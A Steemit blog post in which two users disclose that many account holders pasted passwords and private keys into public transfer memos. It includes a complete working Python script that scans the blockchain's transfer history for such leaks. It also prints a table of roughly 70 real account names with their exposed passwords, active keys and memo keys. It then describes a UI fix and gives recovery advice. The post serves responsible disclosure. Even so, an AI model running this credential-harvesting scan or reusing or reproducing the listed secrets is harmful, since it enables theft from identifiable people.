We just hacked 11 accounts on Steemit! ~$21 749 in STEEM and SBD is under our control. But we are good guys 😇 So...

Actually, we - @noisy & @lukmarcus - have gained access to 9 passwords, 2 private active keys and 64 private memo keys, but first, TL;DR:


Image credits: source

TL;DR;

  • no, we didn’t hack Steem blockchain
  • no, we didn’t hack steemit.com website or any other service build on top of Steem
  • we didn't steal those funds, despite the fact that we could easily do that
    • we changed passwords of all compromised accounts
    • we transferred all funds into saving accounts of each account (to show, that we do not want to take them)
    • the problem is with 2 accounts to which we have active keys. We cannot change password without old password or owner key, so we make sure, that those funds are safe on saving accounts.
  • what we did, we exploited a flaw in design of steemit website, which caused that many users made exactly the same fatal mistake:

Selection_999(152).png

What actually did happen?

Few days ago I noticed in my cousin's wallet, that he accidentally pasted his own password into wrong field (a memo field), when he made a transfer. I warned him, so he changed his password. But this got me thinking... if he could make such mistake, anyone could do that! And unfortunately I wasn't wrong :(

So I wrote a script, which analyze all transfers in Steem history, which checked each memo, whether it is a match with current public keys of a user:

import csv
import pymssql
import json
from steembase.account import PrivateKey, PasswordKey
from multiprocessing import Process, Queue, Manager


WORKERS = 8

q = '''
SELECT
  TxTransfers.*,
  sender.owner sender_owner,
  sender.active sender_active,
  sender.posting sender_posting,
  sender.memo_key sender_memo_key,
  receiver.owner receiver_,
  receiver.active receiver_active,
  receiver.posting receiver_posting,
  receiver.memo_key receiver_memo_key
FROM TxTransfers
INNER JOIN Accounts as sender
ON TxTransfers."from" = sender.name
INNER JOIN Accounts as receiver
ON TxTransfers."to" = receiver.name
WHERE TxTransfers.type = 'transfer' 
AND TxTransfers.memo != '';
'''


def get_keys(field):
    return [key_auth[0] for key_auth in json.loads(field)['key_auths']]


def get_public_keys_from_fields(public_keys_by_account, account_name, owner_field, active_field, posting_field,
                                memo_key_field):
    if account_name not in public_keys_by_account:
        public_keys_by_account[account_name] = {
            'owner': get_keys(owner_field),
            'active': get_keys(active_field),
            'posting': get_keys(posting_field),
            'memo': [memo_key_field],
        }
    return public_keys_by_account[account_name]


def get_public_key_from_password(shared_dict, account_name, password):
    if account_name + password not in shared_dict:
        shared_dict[account_name + password] = str(
            PasswordKey(account_name, password, 'owner').get_private_key().pubkey)
    return shared_dict[account_name + password]


def get_public_key_from_private(shared_dict, priv_key):
    if priv_key not in shared_dict:
        shared_dict[priv_key] = str(PrivateKey(priv_key).pubkey)

    return shared_dict[priv_key]


def worker(
        pid,
        transactions_queue,
        results_queue,
        public_keys_from_passwords,
        public_keys_from_private_keys
):
    print('[{}] worker started'.format(pid))

    while not transactions_queue.empty():
        i, account_name, public_keys, memo = transactions_queue.get()
        print('[{}][{}] Testing "{}" against "{}"'.format(i, pid, account_name, memo))

        public_owner_key = get_public_key_from_password(public_keys_from_passwords, account_name, memo)
        if public_owner_key in public_keys['owner']:
            print("[{}] Gotcha! Found main password for '{}' account: {}".format(pid, account_name, memo))
            results_queue.put((account_name, 'password', memo,))
        else:
            try:
                some_public_key = get_public_key_from_private(public_keys_from_private_keys, memo)
                for role in ['posting', 'active', 'owner', 'memo']:
                    for key in public_keys[role]:
                        if key == some_public_key:
                            print(
                                "[{}] Gotcha! Found private {} key for '{}' account: {}".format(
                                    pid, role, account_name, memo
                                )
                            )
                            results_queue.put((account_name, role, memo,))

            except AssertionError:
                print('[{}] AssertionError: {}'.format(pid, memo))
                continue

            except ValueError as e:
                if str(e) == 'Error loading Base58 object':
                    continue
                elif str(e) == 'Odd-length string':
                    continue

    print('[{}] worker ended'.format(pid))


def save_results(results_queue):
    tmp = set()
    with open('results.csv', 'w+') as file:
        writer = csv.writer(file, quotechar="\"", delimiter=";", escapechar="\\")
        writer.writerow(['account', 'type', 'memo'])

        while True:
            result = results_queue.get()
            if result == 'kill':
                break

            if result not in tmp:
                writer.writerow(result)
                file.flush()
                tmp.add(result)


def main():
    manager = Manager()
    existing_public_keys_by_account = {}
    public_keys_generated_from_potential_passwords = manager.dict()
    public_keys_generated_from_potential_private_keys = manager.dict()
    transactions = Queue()
    results = Queue()

    conn = pymssql.connect('sql.steemsql.com', 'steemit', 'steemit', 'DBSteem')
    cursor = conn.cursor()
    cursor.execute(q)

    with open('transactions.csv', 'w+') as file:
        writer = csv.writer(file, quotechar="\"", delimiter=";", escapechar="\\")
        writer.writerow((
            'id', 'tx_id', 'type', 'from', 'to', 'amount', 'amount_symbol', 'memo', 'request_id', 'timestamp',
            'sender_owner', 'sender_active', 'sender_posting', 'sender_memo_key',
            'receiver_owner', 'receiver_active', 'receiver_posting', 'receiver_memo_key')
        )

        for row in cursor:
            print('.', end='')
            writer.writerow([str(item).replace('\r\n', '') for item in row])

    with open('transactions.csv', 'r') as file:
        reader = csv.reader(file, quotechar="\"", delimiter=";", escapechar="\\")

        next(reader)  # skipping the header
        for i, (
                id_, tx_id, type_, from_, to_, amount, amount_symbol, memo, request_id, timestamp,
                sender_owner, sender_active, sender_posting, sender_memo_key,
                receiver_owner, receiver_active, receiver_posting, receiver_memo_key
        ) in enumerate(reader):

            sender_keys = get_public_keys_from_fields(
                existing_public_keys_by_account, from_, sender_owner, sender_active, sender_posting, sender_memo_key
            )
            receiver_keys = get_public_keys_from_fields(
                existing_public_keys_by_account, to_, receiver_owner, receiver_active, receiver_posting,
                receiver_memo_key
            )

            transactions.put((i, from_, sender_keys, memo))
            transactions.put((i, to_, receiver_keys, memo))

    processes = []
    for i in range(WORKERS):
        p = Process(target=worker, args=(
            i,
            transactions,
            results,
            public_keys_generated_from_potential_passwords,
            public_keys_generated_from_potential_private_keys
        ))
        p.start()
        processes.append(p)

    listener = Process(target=save_results, args=(results,))
    listener.start()

    for p in processes:
        p.join()

    results.put('kill')
    listener.join()

    print("end")


if __name__ == '__main__':
    main()

which returned:

accounttypememo
dunjapasswordhurehurehure1234
anwen-meditatespasswordP5Kk17eRvytzkRzzngp1CdVbQvRqFUq8wrvw8SqNdcZwXot2JRXA
jakethedogpasswordP5JEo9aSW6CAF6apUsMbxqSe6r991T5G35uXcoYMP1PmifBRqX87
miketrpasswordP5JEZWqSV28XAGrwMXn5G2Sx4dADvS5mz4DrrtjoraY8nmB59Rrb
blacktigerpasswordP5HufQw3V442c4DREjUL4Ed4fQ41VzBhPtn5SkCBDJ25tuRFg1UC
quetzalpasswordP5KC2JAHPyuA5tBn4K8PxoLuwXqHx51GHy7tG3gD7DupKH8NxqZz
tieuthuongpasswordP5HybN5mguE6G2QB4BVKbreexEtxJD84veHcz4s3L9R8JLQ6m85V
aubreyfoxpasswordP5J5wS2gkQBv3U6WPgHU9gUTitbWE4V5CKYeEhZGVa3VGgkzQU2p
virtualgrowthpasswordP5Kifqmdm38WPHpn2FUigLbhfD7FatHAHfcuRU5xSi16AFJFex3r
trumpactive5KWkAdBieGJ8TwrpudKjJ3txTGKdjKSBHPgjiH1RGgFRWXp8uM9
amrsaeedactive5JqaDeu2s3BsG9QYenpz2xjLfg3qdaeWhXduYNUSmK7KWAywx93
trumpmemo5KWkAdBieGJ8TwrpudKjJ3txTGKdjKSBHPgjiH1RGgFRWXp8uM9
alaomemo5JBGwoooi1gEUXBhu6up1qWdsKKKG1TEakQwaBNMb95dup5f9xh
athleteyogamemo5KU2dcxLpSCJZ4SB8eBqUJs2PCEuwfx7w2XYCUmcnLqgdHHqjq2
beeridiculousmemo5KHkKyHpxDBuuKGt5QwTbb42bxmMUo1Xk9efBKU7wUoRed2Ak8z
romanskvmemo5JzZ1BUHGrYrmu9Kms5mFK2nhQPFSxKHXp5mtcfMrQWioEgJTfE
blockiechainmemo5JJZPu2z6DfhyGFsm9b458wff8H168f4yiAidbsWq55YSbFLd3a
bloodhoundmemo5JQZo8QDuQ1eDqsgMnVHg1ujqYNUTEDV4KYZyeSdbzSAbXMsSuV
bryguymemo5JdJHDcgeqyaHEgmyTbob221RUvttqyRVVPViAMzuq4hWJKw6sa
churchsoftwarememo5KB3B3rHxvvaR3C2gfNyKkkReqdfbsjPs4AZ8ceiiR4B49oCDmJ
chucklesmemo5KWf41ixGbPMpAxNhe47jtTVbyAi9Su4mZrHaVanYP2rQWoPUUk
coincravingsmemo5Jp6RJ71B824qc2cHXLPNYHZPD1BgxE2rFMyEpDszjqussW5iSA
colombianamemo5JaewDd6gw4AjXGhABCdZk2FHrwxHJnJDWZmkUzJYuny6rarbf3
cryptoeasymemo5JNv71NgwCRUDAQu1NP67TDRVHKmRnnGLRfNFMwAKS8fTMLvLkQ
datkrazykidmemo5JbiRrFrv9GLMjjPYZA8K7AWxAXQThs5AefWj1JgqjzMS2jLdng
dollarvigilantememo5Hqzx26rSmSJ2o5VB8gicf3F2Q6BU35n1nMNajcEmDxMietvUVx
dethiememo5K3BBi9pETRGG7KkS7VDrWY7exDCCi315prn2Mf9dTuR9vCejEH
francoisstrydommemo5Jkw1HdHc1ucwTosaqhXVAhyG848d1ZJprQsrwP1UEctazBvU3D
farinspacememo5JMckr9WkVbRZdbeMwQ6CNwTWBfrp4vTBy9K1YTJyZ76XBbRgZW
golgappasmemo5K8zaCwcXWjQPjs6JGH896pGb6jENyMNU19g1hSsYXW1X2Dour1
goldrushmemo5JKCSn4xwHHCTBNy1MYJgbLDpYGR434A43gUvGPCVJPAs49GMvX
hitherememo5HxdErB3wPUDQKWEcjNBBWLpB1uJ8aMrY1tK5ZA1k56MqmTtT31
iacomemo5JTYW5HfPJJX47VRT1Cq9Nz8aSruWKhETiD6oo9GPJNteQ5RPke
inphinitbitmemo5J9uWL39vDYgEosscgxEziYQ2ybPbxM5e9sPkzTxgqTgNYC7Mx7
jellosmemo5JYXarzjE5afBtHcjhvdUcczrqCsfUEyxVRTKAFyDdjGatkTNNy
kakradetomememo5JuMh7FikJ1UVpUauF3J1e7MHj562z8Zmnp29pauVgPw3A4SgYC
kingofdewmemo5HrSQ9yJizKCbDAu2Di9PnSuMPwMuNQCiKRdBUqzHFZySWQmtbL
malyshew1973memo5KbD93C9XLGL4Aa4ncSpRnXCVuSRTvRRP6gANwHPbUeWBaPf4Eq
leesmoketreememo5Kctn9BvtxB3CXzzX4GMcmLygq42LqisCZr5MAy7VYPzvwX5o7u
lichtblickmemo5J9jkRijjAn8o8DXt8R1ujSZHtahevVCw8CGzPEjnvCEsqkXjHy
lopezromemo5K6rmYGbHaGsAyGLpQMNupWcmjQFHvjX2GtYyCrC3KMgWAWcNci
lostnuggettmemo5JEKwfrtSEFvw8P8qnWyDhfxnQTRB5Vn2WxwW3tE4gL4pZiwPcQ
luanimemo5Jo7p98JCpTiH1q9kVC81etym4QSHRRpLDvxumRW7BXouDu8Yfd
mama-cmemo5HqAhZBvbBJKVWJ1tsrg7xnS1dvNNyxBoHzp8Snvp9C6Uawx66x
marionjoememo5KUpMmkx6hrPanwKzUvrHTonLDQkZAoiJwESogHAMSeuFsB1Lqc
maxfuchsmemo5J9CvSGNyLBgUwhKtsTWCqTddbDZJ4tFrVSyWFzDstsQiG9spPe
mkultra87fmemo5J8mDeubzJwEtHsbPzfUCVetNgPrVgQVHUBQDySH7v1qSS44DBf
mrsgreenmemo5JyAaFEdEriRLpQ9uEXGoeNyHpw1TscqN6VP6iNjpoFbA8JCrMP
nathanhollismemo5Kk1N4nxMPbqVuJCVt3MUjz5dvJR716cUAdf6c3kToqzMqT8rRu
muratmemo5K8R2J7xiLRN3HWdAy5Zym4taE74o9DWF8FV82HHFrqNUZDzdxW
nikoladmemo5KdeDUj92w2HXsLH6V6SpNGPAeyBtJEU5jVoqZyjaHDkE39AkzF
nilianomemo5KCPgZBnLziZC88e44j8GxK11XYdpQyo8WFxocBH24jAhEnVN6z
norbumemo5J5HyEwx54MwKW8gpsSBzvwAweHRjH11CXs85RCNWSooyPYRaeh
onighostmemo5HwsjHgWMmJSLdiVgdxbRWqyvFtsKRC3Mk2tDzkpW4293ssTa6V
pinkislandmemo5JAymGCYWxhojoyQsfAC4x619nq5vkcQBhMWjEZHwiitodBYFV5
rawmeenmemo5JnLMoPRry2n361tPxQq7MYy16tn5PuT2PmsP1FLrRGJsp1Vfem
qamarpinkpandamemo5K4SgN4tps3HRiyy49m5rfWNCZmyBVYv7eFF3CTRkcJJPQsExTb
richarddeanmemo5JPPUidz7rPN6VPHFJQbjnh8a3JQCDzP7fJSt93EQkUeLr3gmJJ
saramillermemo5K8My6Afbi6ff5CeFByB5e9zQG4QUX4MtMRHs7Ux9Tvu4ZSP7H4
slimjimmemo5HtkqVNSBj4kf6tyyyNPBgpnbgkrvATM1wBYY4mkNfxs9xiYHbv
smisimemo5Hsre3qaCDBcxwGiig5qFc65dwf2NfAssUUTXfCWFmbhbxPz7bL
sraseefmemo5K558SavQVHXnKn6k8CoKe28T3FAmmAtRJuCMjpwdSwR6sT9rYq
steemshopmemo5JRoiSJw18Vj3rGt5mrd4JeuxL1Wb1YpGyFDQu9pFrKmckr6kTu
surpriseattackmemo5K8Be3nW33Lc5vqRUJx3xmoLFnMMmJPMthYHb16i7R2gwFTJqh3
tee-emmemo5KPT9Nhtho3qaAFkGQ4zqy7Dae1729WdYM5wL3UPyKVuTauonif
theofphotographymemo5KRJ9qt8E9o6KXFhfyW7PJH7sDsmSBVaBeC8SmLR5LmReQii44Y
thunderberrymemo5JxtXr2cMTkbU37CDtPyFdGuTT9fPceNemwnJDsqAdMoV5msLEP
tominomemo5JPBiMwfrqTdgZhW16LjdeMZv29gtKQC4eb4jyVTpk2Vvx5MHde
worldclassplayermemo5JQBm8pn5vwChYdoxx3tJw6dkBFeQpKBKia5roB9DqXZMoFdF4h
writemorememo5JJTZpTEvw4C7cnU7Q9NfzUnXSYqwYLLxkP7B3c39Z82Uwzj14d
wthomasmemo5HwbsX4CTKtCJLH8QYuVBTvCbJYQwwFDiCCKy99uNLCHpoazo6N
walcotmemo5KJjeTJGM8FjjDpj8mHRFpjae5SeSZ9Y8CGaBJC7VqFUGR25Qa6
vovahamemo5J9Wxf1Xz1hXvMd7ubXHNZXhFoF1yhQT3GSHNVmRNXERCnBZJ7e

The fix

I created and submitted a fix, to prevent such mistakes in a future:

https://github.com/steemit/condenser/pull/1464

Selection_999(154).png

FAQ:

My Account was hacked - what I should do?

Actually, I cannot reach you on steemit.chat or discord to give you your new generated password. Why is that? Because no one can have a certainty, that you actually have the same login on different service. I do not want to risk giving access to your account to someone who just pretend to be you.

You should go to: https://steemit.com/recover_account_step_1

Selection_999(155).png

Selection_999(156).png

and you will be able to restore access to your account with a help of steemit and your email address.

Important

According to code in Steem blockchain, you can do that only during first 30 days after password was changed.

My account is on a list, but only private memo key was exposed. What should I do?

You should change your password immediately.

You can do that on: https://steemit.com/@<your_login>/password

Right now (according to my knowledge) exposed memo key do not make a damage, but it was said few times, that those private keys in the future might be be used to encrypt private messages. Exposed private memo key would mean, that anyone could read your private messages. You don't want that, right?

What next?

You can expect from me in very near future few posts about security (for total newbies and for developers):

  • How private and public keys works. What is the difference between password and a private key
  • Why Steemit didn't detect that I checked passwords of 183388 users
  • Very detail explanation of how passwords are stored by steemit in your browser, and why it is secure
  • How to set own password, which is not generated by Steemit
  • How to make you account on Steemit more secure, by using only private posting key for every-day use

Make sure, you follow me, to learn more about how to keep your fortune earned on Steemit more secure :)

H2
H3
H4
3 columns
2 columns
1 column
580 Comments